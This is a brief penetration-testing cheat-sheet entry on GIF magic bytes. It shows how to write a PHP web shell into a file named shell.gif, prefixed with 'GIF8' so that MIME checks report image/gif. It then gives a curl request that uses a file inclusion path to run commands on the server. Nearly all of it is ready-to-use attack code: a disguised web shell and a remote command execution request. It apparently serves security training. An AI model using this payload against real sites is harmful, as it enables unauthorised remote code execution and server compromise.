GIF
Magic Bytes
# Create a malicious GIF file
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
# Check the file's MIME type
$ file --mime-type shell.gif
shell.gif: image/gif# Remote command execution
curl http://<ip:port>/index.php?language=./profile_images/shell.gif&cmd=idLast updated